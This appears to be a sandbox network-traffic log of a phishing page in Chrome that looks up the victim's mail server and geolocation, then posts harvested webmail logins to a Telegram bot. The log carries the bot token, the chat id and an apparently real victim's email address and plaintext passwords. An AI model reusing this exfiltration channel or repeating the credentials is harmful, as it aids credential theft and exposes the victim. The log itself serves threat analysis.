2025-03-10 12:51:17 UTC	381	IN	Data Raw: 31 37 36 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 2e 22 2c 22 74 79 70 65 22 3a 31 35 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 2e 22 2c 22 74 79 70 65 22 3a 31 35 2c 22 54 54 4c 22 3a 36 30 30 2c 22 64 61 74 61 22 3a 22 31 30 20 65 75 2d 73 6d 74 70 2d 69 6e 62 6f 75 6e 64 2d 31 2e 6d 69 6d 65 63 61 73 74 2e 63 6f 6d 2e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b Data Ascii: 176{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"southwark.anglican.org.","type":15}],"Answer":[{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"10 eu-smtp-inbound-1.mimecast.com."},{"name":"southwark
2025-03-10 12:51:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.25	60653	149.154.167.220	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:17 UTC	745	OUT	POST /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Content-Length: 720 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://kwikkopyegypt.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:17 UTC	720	OUT	Data Raw: 63 68 61 74 5f 69 64 3d 37 31 37 37 39 38 35 30 38 34 26 74 65 78 74 3d 2d 2d 2d 2d 2d 2d 2d 2d 25 32 42 2b 47 65 6e 65 72 61 6c 2b 57 65 62 6d 61 69 6c 2b 52 65 5a 75 6c 54 2b 45 6c 69 7a 61 62 65 74 68 2b 4e 65 77 2b 4a 65 72 73 65 79 25 32 43 2b 55 53 2b 25 32 42 2d 2d 2d 2d 2d 2d 2d 2d 6e 45 6d 61 69 6c 2b 25 33 41 2b 6a 61 6b 65 2e 74 6f 74 61 6d 25 34 30 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 25 30 41 50 61 73 73 77 6f 72 64 2b 25 33 41 2b 45 79 66 72 45 52 25 33 41 25 33 43 47 36 76 55 25 30 41 43 68 65 63 6b 65 72 25 33 41 2b 6a 61 6b 65 2e 74 6f 74 61 6d 25 34 30 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 25 33 41 45 79 66 72 45 52 25 33 41 25 33 43 47 36 76 55 25 30 41 42 72 6f 77 73 65 72 2b 25 Data Ascii: chat_id=7177985084&text=--------%2B+General+Webmail+ReZulT+Elizabeth+New+Jersey%2C+US+%2B--------nEmail+%3A+jake.totam%40southwark.anglican.org%0APassword+%3A+EyfrER%3A%3CG6vU%0AChecker%3A+jake.totam%40southwark.anglican.org%3AEyfrER%3A%3CG6vU%0ABrowser+%
2025-03-10 12:51:17 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 10 Mar 2025 12:51:17 GMT Content-Type: application/json Content-Length: 1101 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-10 12:51:17 UTC	1101	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 38 38 37 36 37 37 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6d 61 74 74 68 61 69 67 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 61 74 74 68 61 69 67 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 31 37 37 39 38 35 30 38 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 69 64 6e 65 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 36 31 31 30 37 37 2c 22 74 65 78 74 22 3a 22 2d 2d 2d 2d 2d 2d 2d 2d 2b 20 47 65 6e 65 72 61 6c 20 57 65 62 6d 61 69 6c 20 52 65 5a 75 6c 54 20 45 6c 69 7a Data Ascii: {"ok":true,"result":{"message_id":29,"from":{"id":7288767743,"is_bot":true,"first_name":"matthaigbot","username":"matthaigbot"},"chat":{"id":7177985084,"first_name":"Sidney","type":"private"},"date":1741611077,"text":"--------+ General Webmail ReZulT Eliz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.25	60655	149.154.167.220	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:20 UTC	407	OUT	GET /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:21 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 10 Mar 2025 12:51:21 GMT Content-Type: application/json Content-Length: 80 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-10 12:51:21 UTC	80	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 65 73 73 61 67 65 20 74 65 78 74 20 69 73 20 65 6d 70 74 79 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Bad Request: message text is empty"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.25	60651	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 58 6b 63 58 69 35 6f 44 55 6b 57 35 74 5a 53 32 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 63 32 33 64 31 62 33 34 63 30 64 64 64 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: XkcXi5oDUkW5tZS2.1Context: 8cc23d1b34c0ddd7
2025-03-10 12:51:24 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 43 30 30 46 36 35 45 32 35 37 31 43 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>0018C00F65E2571C</deviceName><followRetry>true</followRetry></agent></con
2025-03-10 12:51:24 UTC	1364	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 33 34 31 0d 0a 4d 53 2d 43 56 3a 20 58 6b 63 58 69 35 6f 44 55 6b 57 35 74 5a 53 32 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 63 32 33 64 31 62 33 34 63 30 64 64 64 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 49 41 2b 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 48 73 6c 4e 50 49 55 6b 73 4b 5a 33 53 78 4e 4c 41 39 44 56 2f 53 71 58 76 5a 38 76 48 34 59 2f 74 58 63 50 6e 44 6e 35 6b 72 36 4b 72 4a 66 55 64 67 2b 71 6e 75 47 44 6b 4f 44 65 6d 33 6a 4c 4c 5a 53 6b 43 52 73 48 50 76 49 51 74 43 6f 64 44 47 42 6e 35 39 73 35 68 45 59 57 65 36 71 5a 6c 6f 65 6c 45 6e 61 48 65 46 34 62 Data Ascii: ATH 2 CON\DEVICE 1341MS-CV: XkcXi5oDUkW5tZS2.2Context: 8cc23d1b34c0ddd7<device><compact-ticket>t=EwCIA+pIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQHslNPIUksKZ3SxNLA9DV/SqXvZ8vH4Y/tXcPnDn5kr6KrJfUdg+qnuGDkODem3jLLZSkCRsHPvIQtCodDGBn59s5hEYWe6qZloelEnaHeF4b
2025-03-10 12:51:24 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 58 6b 63 58 69 35 6f 44 55 6b 57 35 74 5a 53 32 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 63 32 33 64 31 62 33 34 63 30 64 64 64 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 197MS-CV: XkcXi5oDUkW5tZS2.3Context: 8cc23d1b34c0ddd7<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-03-10 12:51:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-03-10 12:51:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 61 48 59 37 54 67 33 66 45 36 31 38 59 4d 4e 76 78 76 37 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zaHY7Tg3fE618YMNvxv7Jg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.25	60659	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 36 0d 0a 4d 53 2d 43 56 3a 20 75 4b 79 6d 64 47 77 6a 74 45 53 46 66 37 35 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 66 64 66 65 35 62 34 34 63 65 33 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 316MS-CV: uKymdGwjtESFf75K.1Context: ba7fdfe5b44ce3ff
2025-03-10 12:51:31 UTC	260	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 32 32 36 33 31 2e 34 31 36 39 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 30 30 31 38 43 30 30 46 36 35 45 32 35 37 31 43 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.22631.4169</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>0018C00F65E2571C</deviceName><followRetry>true</followRetry></agent></con
2025-03-10 12:51:31 UTC	1384	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 33 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 4b 79 6d 64 47 77 6a 74 45 53 46 66 37 35 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 66 64 66 65 35 62 34 34 63 65 33 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 59 41 2b 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 62 77 44 37 35 58 54 71 65 33 37 5a 61 65 56 55 4f 66 44 65 79 42 53 30 70 53 77 47 58 41 2f 54 69 61 5a 59 53 6e 72 62 57 39 6f 2b 4d 2f 63 6f 49 38 47 4e 4b 59 63 2f 58 69 62 79 79 38 74 79 70 70 33 78 67 56 46 5a 32 7a 45 76 38 6c 4d 58 69 30 68 57 61 32 77 2f 6a 57 34 32 66 71 59 56 51 2f 53 4d 41 68 41 31 32 50 62 4b Data Ascii: ATH 2 CON\DEVICE 1361MS-CV: uKymdGwjtESFf75K.2Context: ba7fdfe5b44ce3ff<device><compact-ticket>t=EwCYA+pIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdbwD75XTqe37ZaeVUOfDeyBS0pSwGXA/TiaZYSnrbW9o+M/coI8GNKYc/Xibyy8typp3xgVFZ2zEv8lMXi0hWa2w/jW42fqYVQ/SMAhA12PbK
2025-03-10 12:51:31 UTC	224	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 4b 79 6d 64 47 77 6a 74 45 53 46 66 37 35 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 66 64 66 65 35 62 34 34 63 65 33 66 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 197MS-CV: uKymdGwjtESFf75K.3Context: ba7fdfe5b44ce3ff<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-03-10 12:51:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-03-10 12:51:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 71 46 6e 4a 33 49 35 59 30 79 43 65 56 4f 6a 4e 64 2f 45 2b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: wqFnJ3I5Y0yCeVOjNd/E+g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.25	60662	34.117.59.81	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:36 UTC	552	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: / Origin: https://kwikkopyegypt.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:37 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 317 content-type: application/json; charset=utf-8 date: Mon, 10 Mar 2025 12:51:37 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:51:37 UTC	317	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 36 37 2e 38 32 2e 31 31 36 2e 31 31 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 6f 6f 6c 2d 34 33 35 32 37 34 37 37 2e 64 79 6e 2e 6f 70 74 6f 6e 6c 69 6e 65 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 45 6c 69 7a 61 62 65 74 68 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 4a 65 72 73 65 79 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 36 36 34 30 2c 2d 37 34 2e 32 31 30 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 36 31 32 38 20 43 61 62 6c 65 76 69 73 69 6f 6e 20 53 79 73 74 65 6d 73 20 43 6f 72 70 2e 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 30 37 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d Data Ascii: { "ip": "67.82.116.119", "hostname": "ool-43527477.dyn.optonline.net", "city": "Elizabeth", "region": "New Jersey", "country": "US", "loc": "40.6640,-74.2107", "org": "AS6128 Cablevision Systems Corp.", "postal": "07207", "timezone": "Am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.25	60665	34.117.59.81	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:39 UTC	343	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:39 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 317 content-type: application/json; charset=utf-8 date: Mon, 10 Mar 2025 12:51:39 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:51:39 UTC	317	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 36 37 2e 38 32 2e 31 31 36 2e 31 31 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 6f 6f 6c 2d 34 33 35 32 37 34 37 37 2e 64 79 6e 2e 6f 70 74 6f 6e 6c 69 6e 65 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 45 6c 69 7a 61 62 65 74 68 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 4a 65 72 73 65 79 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 36 36 34 30 2c 2d 37 34 2e 32 31 30 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 36 31 32 38 20 43 61 62 6c 65 76 69 73 69 6f 6e 20 53 79 73 74 65 6d 73 20 43 6f 72 70 2e 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 30 37 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d Data Ascii: { "ip": "67.82.116.119", "hostname": "ool-43527477.dyn.optonline.net", "city": "Elizabeth", "region": "New Jersey", "country": "US", "loc": "40.6640,-74.2107", "org": "AS6128 Cablevision Systems Corp.", "postal": "07207", "timezone": "Am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.25	60664	149.154.167.220	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:39 UTC	745	OUT	POST /bot7288767743:AAGRVsMLRSfD1NGxN7FxB_HXGEFvLGfPn9w/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Content-Length: 728 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://kwikkopyegypt.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:39 UTC	728	OUT	Data Raw: 63 68 61 74 5f 69 64 3d 37 31 37 37 39 38 35 30 38 34 26 74 65 78 74 3d 2d 2d 2d 2d 2d 2d 2d 2d 25 32 42 2b 47 65 6e 65 72 61 6c 2b 57 65 62 6d 61 69 6c 2b 52 65 5a 75 6c 54 2b 45 6c 69 7a 61 62 65 74 68 2b 4e 65 77 2b 4a 65 72 73 65 79 25 32 43 2b 55 53 2b 25 32 42 2d 2d 2d 2d 2d 2d 2d 2d 6e 45 6d 61 69 6c 2b 25 33 41 2b 6a 61 6b 65 2e 74 6f 74 61 6d 25 34 30 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 25 30 41 50 61 73 73 77 6f 72 64 2b 25 33 41 2b 21 44 6b 71 25 32 35 4c 51 6e 50 36 69 76 72 21 25 35 44 55 25 30 41 43 68 65 63 6b 65 72 25 33 41 2b 6a 61 6b 65 2e 74 6f 74 61 6d 25 34 30 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 25 33 41 21 44 6b 71 25 32 35 4c 51 6e 50 36 69 76 72 21 25 35 44 55 25 30 41 42 Data Ascii: chat_id=7177985084&text=--------%2B+General+Webmail+ReZulT+Elizabeth+New+Jersey%2C+US+%2B--------nEmail+%3A+jake.totam%40southwark.anglican.org%0APassword+%3A+!Dkq%25LQnP6ivr!%5DU%0AChecker%3A+jake.totam%40southwark.anglican.org%3A!Dkq%25LQnP6ivr!%5DU%0AB
2025-03-10 12:51:39 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 10 Mar 2025 12:51:39 GMT Content-Type: application/json Content-Length: 1109 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-10 12:51:39 UTC	1109	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 38 38 37 36 37 37 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6d 61 74 74 68 61 69 67 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 61 74 74 68 61 69 67 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 31 37 37 39 38 35 30 38 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 69 64 6e 65 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 36 31 31 30 39 39 2c 22 74 65 78 74 22 3a 22 2d 2d 2d 2d 2d 2d 2d 2d 2b 20 47 65 6e 65 72 61 6c 20 57 65 62 6d 61 69 6c 20 52 65 5a 75 6c 54 20 45 6c 69 7a Data Ascii: {"ok":true,"result":{"message_id":31,"from":{"id":7288767743,"is_bot":true,"first_name":"matthaigbot","username":"matthaigbot"},"chat":{"id":7177985084,"first_name":"Sidney","type":"private"},"date":1741611099,"text":"--------+ General Webmail ReZulT Eliz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.25	60666	149.154.167.220	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
